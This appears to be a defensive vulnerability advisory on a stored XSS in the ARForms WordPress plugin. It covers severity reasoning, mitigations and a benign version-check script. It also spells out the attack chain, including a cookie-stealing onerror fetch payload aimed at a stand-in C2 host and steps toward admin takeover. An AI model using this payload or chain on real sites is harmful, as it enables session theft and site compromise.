An attacker scribbles JavaScript into a form field and waits for the admin to open the mailbox
ARForms is a commercial WordPress form-builder plugin (Repute Infosystems). All versions ≤ 7.1.2 ship an unauthenticated stored XSS in the arf_save_incomplete_form_data AJAX endpoint. An anonymous visitor submits a partially completed form whose value parameter contains a script payload; the plugin writes it to the database without escaping. When a WordPress administrator later opens *Partial Filled Form Entries* in the ARForms dashboard, the payload renders in the admin's browser context.
Vendor / Wordfence-style HIGH (7.1) with S:C is technically defensible — a successful pop lands in an authenticated admin session and can install plugins, create users, or pivot to the host. In practice this is a textbook *user-interaction stored XSS in an admin-only view*, and the per-site blast radius is one WordPress instance. For a defender running ARForms at scale on tenant sites it deserves attention; for an enterprise that does not run ARForms or runs it on a marketing micro-site it is noise. We hold MEDIUM.
4 steps from start to impact.
Identify a site running vulnerable ARForms
/wp-content/plugins/arforms/ assets. Public scanners (wpscan, wappalyzer) and the WP plugin handle make this trivial.- Target site is internet-reachable
- ARForms ≤ 7.1.2 installed and active
- At least one published ARForms form
- ARForms is a paid plugin — installed base is a small fraction of WP overall
- Some installs hide plugin paths via security plugins (WordFence, iThemes)
Submit payload via arf_save_incomplete_form_data
admin-ajax.php?action=arf_save_incomplete_form_data with a crafted value parameter containing <img src=x onerror=fetch('//c2/'+document.cookie)> or a fuller admin-takeover stager. No nonce, no auth — the endpoint accepts the payload and stores it as a partial entry.- The AJAX action is reachable (default)
- WAF does not strip the script tag
- Cloudflare / Sucuri / Wordfence managed rules block common XSS payloads in
value=fields - Site behind login wall (membership sites) blocks unauthenticated submission
<script>/onerror= in POST body. Wordfence detects known XSS patterns by default.Wait for admin to view partial entries
manage_options (admin) navigates to ARForms → *Partial Filled Form Entries*. Many sites never check this view.- Admin actively triages partial submissions
- Admin browser executes JS (no CSP, no NoScript)
- This dashboard view is rarely opened on autopilot sites
- Modern WP admin has no default CSP but many security plugins inject one
/wp-admin/.Execute admin-context actions
/wp/v2/users, install a backdoored plugin via update.php, or modify theme files. End state: persistent WP admin foothold, often pivot to host code execution via theme/plugin editor.- Admin session is privileged enough to install plugins (default)
DISALLOW_FILE_EDITnot set in wp-config.php
DISALLOW_FILE_MODS/DISALLOW_FILE_EDIThardening blocks plugin install + editor- MFA on admin reduces password-reset pivots; doesn't stop session reuse
The supporting signals.
| In-the-wild exploitation | None observed as of disclosure. No KEV listing, no GreyNoise tag, no incident reports. |
|---|---|
| Public PoC | Pattern is trivial; expect a Wordfence Threat Intel writeup and a Patchstack advisory within days of disclosure. No named exploit repo yet. |
| EPSS | Not yet scored at disclosure (2026-06-29). Stored-XSS in WP plugins historically lands EPSS < 0.5% unless mass-exploited. |
| KEV status | Not listed. |
| CVSS vector | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L — network, no privileges, user interaction required (admin must browse partial entries), scope-changed because XSS escapes the form context into the admin session. |
| Affected versions | ARForms WordPress plugin ≤ 7.1.2 (Wordfence aggregations also flag through 7.1.3 — confirm against vendor changelog). |
| Fixed version | Vendor patch in ARForms ≥ 7.1.3 / 7.1.4 (verify on CodeCanyon download); no distro backports — commercial plugin distributed via Envato. |
| Exposure data | ARForms is a paid plugin with an estimated low-five-figure active install base — tiny compared to Contact Form 7 / WPForms. Shodan / PublicWWW queries for arforms show low thousands of fingerprintable instances. |
| Disclosure | Published 2026-06-29, included in CISA weekly bulletin SB26-180. |
| Reporter | Disclosed via the Patchstack / Wordfence WordPress vulnerability disclosure pipeline (specific researcher credit pending in CISA bulletin). |
noisgate verdict.
Single most decisive factor: the chain requires an authenticated admin to open a rarely-visited dashboard view (UI:R against a specific WordPress role), and the affected component is a niche paid form plugin — not an identity, hypervisor, or edge component. Blast radius is bounded to a single WordPress site per successful pop, with no cross-tenant or fleet impact.
Why this verdict
- User interaction gate is real: the payload only fires when an admin manually opens *Partial Filled Form Entries* — a view many ARForms operators never touch. That single condition removes the worm-grade exposure that drives true HIGHs.
- Narrow installed base: ARForms is a commercial Envato/CodeCanyon plugin with an installed base orders of magnitude smaller than Contact Form 7 or Elementor Forms. Most enterprise WP estates do not run it at all.
- Role multiplier: ARForms is deployed almost exclusively in the *typical role* (marketing/contact form on a content site). It is not a domain controller, IdP, hypervisor, CA, PAM, backup, or kernel-mode agent — none of the high-value-role catalog applies. The high-value-role floor of HIGH/CRITICAL is therefore not triggered.
- Per-site blast radius is one WP install. Even a successful pop yields admin on a single tenant site, not the fleet. Enterprises with hardened WP (
DISALLOW_FILE_EDIT, MFA, audit logging) further reduce post-XSS pivot value. - No KEV, no observed exploitation, EPSS will be low. Nothing in the threat-intel signal forces an upgrade.
Why not higher?
HIGH would require either active exploitation, a wormable unauthenticated → RCE chain, or a high-value-role component. None of the three conditions hold: the chain stops at admin-context JS in one WP install, and ARForms is not a fleet-impact component. Vendor's S:C rating is correct on paper but doesn't move the enterprise-scale dial.
Why not lower?
LOW would imply no realistic path to admin compromise. Stored XSS that lands in the WP admin session is materially worse than a reflected XSS or self-XSS — once it fires, full site takeover follows in under a minute. That justifies MEDIUM, not LOW or IGNORE.
What to do — in priority order.
- Block the vulnerable AJAX action at the WAF until patched — Add a WAF rule on
admin-ajax.phpPOSTs withaction=arf_save_incomplete_form_datato reject bodies containing<,script,onerror=,onload=,javascript:. Deploy within the standard hygiene window — there is no mitigation SLA at MEDIUM, but for sites that actively use ARForms apply this within ~2 weeks. - Disable the *Save Incomplete Form Data* feature in ARForms settings — If the partial-save feature is not a business requirement, turn it off. This neutralizes the sink entirely without waiting for the vendor patch.
- Set
define('DISALLOW_FILE_EDIT', true);andDISALLOW_FILE_MODSinwp-config.php— Even if XSS fires, this prevents the admin session from being used to drop a webshell via theme/plugin editor — collapsing step 4 of the chain. Apply across the WP estate this week as standing hygiene. - Audit & purge existing partial-entry rows — Query
wp_arforms_*tables for entries containing<script,onerror,javascript:before any admin opens the view. Quarantine suspicious rows in case the bug was exploited before disclosure. - Patch to ARForms ≥ 7.1.3 (verify vendor changelog) — Pull from CodeCanyon, stage on a non-prod WP, regression-test forms, deploy. Target the noisgate remediation SLA of ≤ 365 days, but most teams will roll it in the next monthly WP maintenance window.
- MFA on the WP admin account — the payload runs inside an already-authenticated session, MFA was satisfied at login time.
- Generic outbound firewall on the WP host — XSS executes in the admin's *browser*, which usually talks to the internet freely.
- Disabling user registration / hardening login — the vulnerable endpoint is unauthenticated by design; auth controls on
/wp-login.phpare irrelevant. - CSP on the public site — the payload fires inside
/wp-admin/, which is a separate origin/context; public-site CSP doesn't apply.
Crowdsourced verification payload.
Run from an auditor workstation against the target WordPress site. No credentials required. Usage: ./check-arforms.sh https://target.example.com — exits 0 PATCHED / 1 VULNERABLE / 2 UNKNOWN.
#!/usr/bin/env bash
# noisgate verification — CVE-2026-57338 ARForms ≤ 7.1.2 stored XSS
set -u
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
echo "usage: $0 https://site.example.com" >&2
exit 2
fi
# 1. Confirm ARForms is present
README_URL="${TARGET%/}/wp-content/plugins/arforms/readme.txt"
RESP=$(curl -sSL -o /tmp/arf_readme -w '%{http_code}' "$README_URL" 2>/dev/null)
if [[ "$RESP" != "200" ]]; then
echo "UNKNOWN: arforms readme not reachable (HTTP $RESP). Plugin may be hidden or absent."
exit 2
fi
# 2. Parse Stable tag / Version
VER=$(grep -Eim1 '^(Stable tag|Version):' /tmp/arf_readme | awk -F: '{print $2}' | tr -d ' \r')
if [[ -z "$VER" ]]; then
echo "UNKNOWN: could not parse ARForms version from readme."
exit 2
fi
echo "Detected ARForms version: $VER"
# 3. Version compare — vulnerable if <= 7.1.2
vuln_le() {
# returns 0 if $1 <= 7.1.2
printf '%s\n7.1.2\n' "$1" | sort -V | head -n1 | grep -qx "$1" && \
[[ "$1" != "7.1.3" && "$1" != "7.1.4" ]]
}
if vuln_le "$VER"; then
# 4. Sanity-poke the endpoint (benign payload, no script execution)
AJAX="${TARGET%/}/wp-admin/admin-ajax.php"
PROBE=$(curl -sS -o /dev/null -w '%{http_code}' \
-X POST "$AJAX" \
--data 'action=arf_save_incomplete_form_data&form_id=1&field_id=1&value=noisgate-probe')
echo "AJAX endpoint responded: HTTP $PROBE"
echo "VULNERABLE: ARForms $VER is in the affected range (<= 7.1.2)."
exit 1
fi
echo "PATCHED: ARForms $VER is outside the affected range."
exit 0
If you remember one thing.
/wp-content/plugins/arforms/, push a WAF rule blocking action=arf_save_incomplete_form_data payloads containing HTML/JS, and turn off the *Save Incomplete Form Data* feature on any site that doesn't actively need it. Per the noisgate mitigation SLA there is *no mitigation deadline at MEDIUM* — go straight to the noisgate remediation SLA of ≤ 365 days, but realistically fold the ARForms ≥ 7.1.3 update into your next monthly WordPress maintenance window. Also push DISALLOW_FILE_EDIT/DISALLOW_FILE_MODS across the WP estate this quarter — it neutralizes the post-XSS pivot for this bug and the next dozen like it.Sources
- CISA Vulnerability Summary — Week of June 22, 2026 (SB26-180)
- CISA Known Exploited Vulnerabilities Catalog
- Wordfence Threat Intelligence — WordPress vulnerability feed
- Patchstack WordPress vulnerability database
- ARForms plugin (CodeCanyon vendor page)
- WordPress hardening — DISALLOW_FILE_EDIT
- OWASP Cross-Site Scripting (XSS) reference
- FIRST EPSS scoring documentation
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.